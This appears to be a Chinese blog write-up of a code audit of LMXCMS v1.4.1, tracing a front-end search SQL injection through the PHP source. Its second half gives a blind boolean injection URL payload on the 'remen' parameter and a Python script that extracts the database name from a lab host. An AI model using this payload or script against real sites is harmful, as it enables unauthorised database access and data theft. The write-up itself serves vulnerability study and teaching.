当前位置:网站首页>夢想CMS 前臺搜索SQL注入
夢想CMS 前臺搜索SQL注入
2022-07-19 11:26:00 【fantastic_life】
夢想CMS 前臺搜索SQL注入
v1.4.1版本的源碼放在當前目錄下,防止後面的漏洞找不到源代碼
漏洞要求
版本:v1.4.1
漏洞分析
這篇文章是根據 https://xz.aliyun.com/t/11224 這個師傅的文章進行的漏洞複現,所以直接看漏洞點,這個搜索框的SQL注入點還是挺有意思的,在學習完SQl注入之後,可以通過這個漏洞點進行很好的學習。
這個漏洞是在首頁的搜索框,之前也確實沒有關注過這個地方可能會存在漏洞。
關於搜索的接口對應的代碼文件為 c/index/SearchAction.class.php 內容如下:
class SearchAction extends HomeAction{
private $searchModel = null;
private $param;
public function __construct(){
parent::__construct();
if(!$this->config['is_search']) rewrite::error($this->l['search_is_on']);
$this->searchTime(); //驗證搜索時間間隔
$this->check(); //驗證接收數據
if($this->searchModel == null) $this->searchModel = new SearchModel();
}
public function index(){
$this->param['ischild'] = 1;
$arr = $this->searchModel->getSerachField($this->param);//初始化條件
$count = $this->searchModel->searchCoutn($arr);
if($count > 0){
$page = new page($count,$GLOBALS['public']['searchnum']);
//獲取列錶數據
$arr['page'] = $page->returnLimit();
$arr['is_home'] = 1;
$searchData = $this->searchModel->getSearchList($arr,$this->param);
//賦值url和其他變量
foreach($searchData as $v){
$param['type'] = 'content';
$param['classid'] = $v['classid'];
$param['classpath'] = $GLOBALS['allclass'][$v['classid']]['classpath'];
$param['time'] = $v['time'];
$param['id'] = $v['id'];
$v['classname'] = $GLOBALS['allclass'][$v['classid']]['classname'];
$v['url'] = $v['url'] ? $v['url'] : url($param);
$v['classurl'] = classurl($v['classid']);
$v['classimage'] = $GLOBALS['allclass'][$v['classid']]['images'];
$v['parent_classid'] = $GLOBALS['allclass'][$v['classid']]['uid'];
$newlist[] = $v;
}
$this->smarty->assign('list',$newlist);
$this->smarty->assign('page',$page->html());
}
$this->smarty->assign('num',$count);
//獲取搜索列錶模板
if(!$this->param['tem']){
if($this->param['classid']){
$classtem = $GLOBALS['allclass'][$arr['classid']]['searchtem'];
$arr['tem'] = $classtem ? $classtem : 'index';
}else{
$arr['tem'] = 'index';
}
}else{
$arr['tem'] = $this->param['tem'];
}
$this->setSearchTime(); //保存搜索時間
$this->smarty->assign('title',$this->param['keywords']);
$this->smarty->assign('keywords',$this->param['keywords']);
$this->smarty->assign('description',$this->param['keywords']);
$this->smarty->display('search/'.$arr['tem'].'.html');
}
//驗證接收數據並返回
private function check(){
//獲取get數據
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
}
從上面的代碼可以看到 在初始化構造的時候就會先調用 $this->check(); 驗證接收數據,跟踪這個函數可以看到到check 方法中校驗參數必須有keywords,同時會調用 string::delHtml($data['keywords']); 對keywords做處理,跟踪 delHtml 到 class/string.class.php 文件的如下代碼:
//去掉html標簽
public static function delHtml($str){
return strip_tags($str);
}
主要用於去除html 標簽。 返回到index 繼續追踪代碼,可以看到代碼會執行 $count = $this->searchModel->searchCoutn($arr); ,追踪到m/SearchModel.class.php 文件中的 searchCoutn 方法
//獲取搜索總條數
public function searchCoutn($searchInfo){
$param = $this->sqlStr($searchInfo);
$param['force'] = 'title';
return parent::countModel($param);
}
繼續追踪 到 class/Model.class.php 文件中的 countModel方法
//返回記錄數
protected function countModel($param=array()){
return parent::countDB($this->tab['0'],$param);
}
最終追踪到class/db.class.php 文件的 countDB 方法
//查詢記錄數
protected function countDB($tab,$param){
$We = $this->where($param);
$sql="SELECT count(1) FROM ".DB_PRE."$tab $We";
// echo $sql;
$result=$this->query($sql);
$data = mysql_fetch_row($result);
$this->result($result);
return $data['0'];
}
為了方便可以在上面的方法中添加 echo $sql; 進行調試,方便進行打印當前執行的SQL
上面是我們整體對漏洞代碼的追溯過程,我們重新回頭看最開始的代碼文件 c/index/SearchAction.class.php中的check 方法
//驗證接收數據並返回
private function check(){
//獲取get數據
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
這裏需要注意的是 $data = p(2,1,1); 這個地方會對我們輸入的參數進行轉義單引號,過濾了部分函數。
這個方法其實還告訴了一個我們比較有用的信息
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
這個幾個是都可以作為參數做傳遞的,下面我通過remen進行測試
漏洞測試
發送如下請求:/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=11 看打印的SQL 為:
SELECT count(1) FROM lmx_product_data WHERE time > 1626240056 AND remen=11 AND classid in(11,12,13,14,5) AND (title like '%c%') ORDER BY id desc
可以看到我們傳遞的 remen 已經被拼接到SQL 中,剩下的就是進行注入測試。
發送請求 /index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+ 因為單引號會被轉義,所以這裏使用的是ascii, 我們測試設置的數據庫的名字是 lmxcms, 第一比特是 l 對應的 就是 0x6c, 這個時候頁面返回的 Content-Length: 7722 如果我們的值不是 0x6c 返回的長度為 Content-Length: 4955
所以可以基於這個寫代碼來獲取數據庫信息
import requests
url = "http://192.168.80.154:9090?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+"
result = ""
for i in range(1, 7):
for j in range(80, 180):
cl = url.format(i, hex(j))
res = requests.get(cl)
if len(res.text) > 6000:
result += chr(j)
print(result)
小結
這個漏洞是一個非常好的代碼審計的下例子,代碼也不複雜,即使不懂 PHP 的也可以快速入門
相關鏈接
边栏推荐
- ThreadLocal变量使用及原理
- 玩转CANN目标检测与识别一站式方案
- Introduction to virtualization troubleshooting
- mpu9250 ky9250姿态、角度模块和mpu9250 mpl dma对比
- 8. Fixed income investment
- IP SAN has an independent file system. After the application server accesses the IP SAN through the network sharing protocol, it can read and write the files in the file system
- MySQL autoincrement ID, UUID and snowflake ID
- zabbix代理服务器配置
- 性能优化之@Contended减少伪共享
- Daily question brushing record (26)
猜你喜欢
![Some methods of early MCU encryption [get data in the comment area]](/img/14/8e1dcb799d8a3c0aefcac09be9dc51.png)
Some methods of early MCU encryption [get data in the comment area]

Evaluation method of machine learning model

Download of common getshell tools

Mysql索引的类型(单列索引、组合索引 btree索引 聚簇索引等)

一个报错, Uncaught TypeError: ModalFactory is not a constructor

STC8H开发(十四): I2C驱动RX8025T高精度实时时钟芯片

委派雙親之類加載器

jconsole线程面板中的阻塞总数和等待总数(转)

The type of MySQL index (single column index, combined index, BTREE index, clustered index, etc.)

Hot discussion: my husband is 34 years old this year and wants to read a doctoral degree. What should I do in the future to do scientific research?
随机推荐
动态内存分配问题
[handwritten numeral recognition] handwritten numeral recognition based on lenet network with matlab code
NVIDIA uses AI to design GPU: the latest H100 has been used, which reduces the chip area by 25% compared with traditional EDA
The concept of data guard broker and the configuration process of data guard broker
《MySQL DBA封神打怪之路》专栏学习大纲
ThreadLocal变量使用及原理
Microservice online specification
A fastandrobust convolutionalneuralnetwork-based defect detection model inproductqualitycontrol-閱讀筆記
Introduction to replacement technology of SAP ABAP CDs view view
Introduction to virtualization troubleshooting
Second classification learning is extended to multi classification learning
常见分布式锁介绍
input number 純數字輸入 限制長度 限制 最大值
OA系统与MES系统的异同点
每日刷题记录 (二十六)
A fastandrobust convolutionalneuralnetwork-based defect detection model inproductqualitycontrol-阅读笔记
A curated list of awesome Qt and QML
At5147-[agc036d]negative cycle [DP, model conversion]
Download of common getshell tools
LOJ 2324 - "Tsinghua training 2017" small y and binary tree